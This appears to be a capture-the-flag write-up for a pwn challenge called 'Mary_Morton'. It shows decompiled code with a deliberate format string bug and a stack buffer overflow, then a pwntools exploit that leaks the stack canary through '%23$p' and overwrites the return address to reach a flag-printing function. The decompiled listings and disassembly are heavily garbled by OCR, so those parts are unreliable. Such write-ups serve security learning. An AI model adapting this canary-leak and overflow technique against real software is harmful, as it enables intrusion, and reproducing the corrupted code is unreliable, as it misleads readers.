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void _ fastcall _ noreturn main(int al, char **a2, char **a3)
int v3; // [rsp+24h] [rbp-Ch] BYREF
unsigned _ inte4 w4; J/ [rsp+28h] [rbp-8h]

vt = _ readfsqword(@x28u);
sub_4BBOFF();
puts({"Welcome to the battle ! ");
puts("[Great Fairy] level pwned ");
puts("select your weapon ")};
while { 1 )
1

while { 1 )

sub_4889DA();
_ izoc99_scanf("%d", &v3);
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if (w3 l=2)
1 break;
1 sub_4BBIEE();
28|}
2 if (w3 ==13)
2| {
2 puts("Bye ");
24 exit(8)
25 }
26 if ( v3 ==
27 sub_46@968();
28 else
29 puts("Wrong!™);
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lint sub_ 4889DA()

2

3 puts("l. Stack Bufferoverflow Bug ");

4/ puts("2. Format String Bug ");

5 return puts("3. Exit the battle ");
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'_Lms’_gned __inte4 sub_4888EB()
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3| char buf[138]; // [rsp+@h] bp-9@h] BYREF
4| unsigned _ inte4 v2; // [rsp+38h] [rbp-8h]
5

6 w2 = _ readfsqwerd(@x28u);

memset(buf, @, Bx38uLL);

8  read(®, buf, Bx7FuLL);
9 printf(buf);
18 return _ readfsqwoerd(@x28u) ~ v2;
11}
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lunsigned _ int64 sub_48896@()
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3| char buf[138]; // [rsp+8h] [rbp-9@8h] BYREF
4| unsigned _ inte4 v2; // [rsp+83h] [rbp-8h
5

6 w2 = _ readfsqword(@x28u);

memset (buf, @, @x38uLLl);

3 read(®, buf, 8xleeulLL);

9 printf("-»> #s\n", buf);

12| return _ readfsqword(@x28u) ~ v2;
E 11}
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lint sub_48838DA()

2

3 return system("/bin/cat ./flag");
4}
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_||-eeeeeeeececacaen db
-BEAEAREAGABEAREC db
-BB0BEBEACEOROBEE db

ﬂ -BEAEORBABEARORGA db
-BE0BEBEREAERRBET db
-e0eRee0R0e0e0003 TETNN: dg
1OBEREAEEORERER0E S db
+OBORBADRARORGARE db
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3 undefined
3 undefined
3 undefined
3 undefined
3 undefined

dup(2)
dup( SO @0HZE5

AEEERMAENA: 0x90-8=0x88
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from pwn import *
io = process("./Mary_Morton")

io.recvuntil("3. Exit the battle ")
io.sendline("2")
io.sendline("%23%p")
io.recvuntil("0x")
canary=int(io.recv(16),16)

sys_addr = 0x4008DA

payload = b'A*0x88 + p64(canary) + b'B*0x8 + p64(sys_addr)

io.recvuntil("3. Exit the battle ")
io.sendline("1")
io.sendline(payload)

io.interactive()
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